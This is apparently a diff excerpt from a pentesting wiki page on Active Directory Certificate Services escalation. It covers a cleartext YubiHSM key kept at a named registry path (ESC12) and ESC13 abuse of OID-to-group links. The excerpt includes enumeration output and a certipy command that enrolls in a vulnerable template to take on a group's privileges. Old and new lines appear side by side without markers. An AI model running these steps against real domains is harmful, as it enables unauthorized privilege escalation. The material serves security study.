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windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
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@ -673,11 +673,11 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2".
If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM.
If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM.
This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext.
Everything is explained [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### Abuse Scenario
@ -704,38 +704,43 @@ The `msPKI-Certificate-Policy` attribute allows the issuance policy to be added
In other words, when a user has permission to enroll a certificate and the certificate is link to an OID group, the user can inherit the privileges of this group.
You can use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
```powershell
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=Vulnerable template,CN=Users,DC=domain,DC=htb
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=Vulnerable template,CN=Users,DC=domain,DC=htb
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template ManagerAuthentication may be used to obtain membership of CN=Vulnerable template,CN=Users,DC=domain,DC=htb
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
Certificate template Name: ManagerAuthentication
Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=Vulnerable template,CN=Users,DC=domain,DC=htb
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
```
### Abuse Scenario
All you need to do just specify the template, you will get a certificate with OIDToGroupLink rights.
Find a user permission it can use `certipy find` or `Certify.exe find /showAllPermissions`.
If `John` have have permission to enroll `VulnerableTemplate`, the user can inherit the privileges of `VulnerableGroup` group.
All it need to do just specify the template, it will get a certificate with OIDToGroupLink rights.
```bash
certipy req -u "mane@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'Vulnerable template'
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Compromising Forests with Certificates Explained in Passive Voice
### Breaking of Forest Trusts by Compromised CAs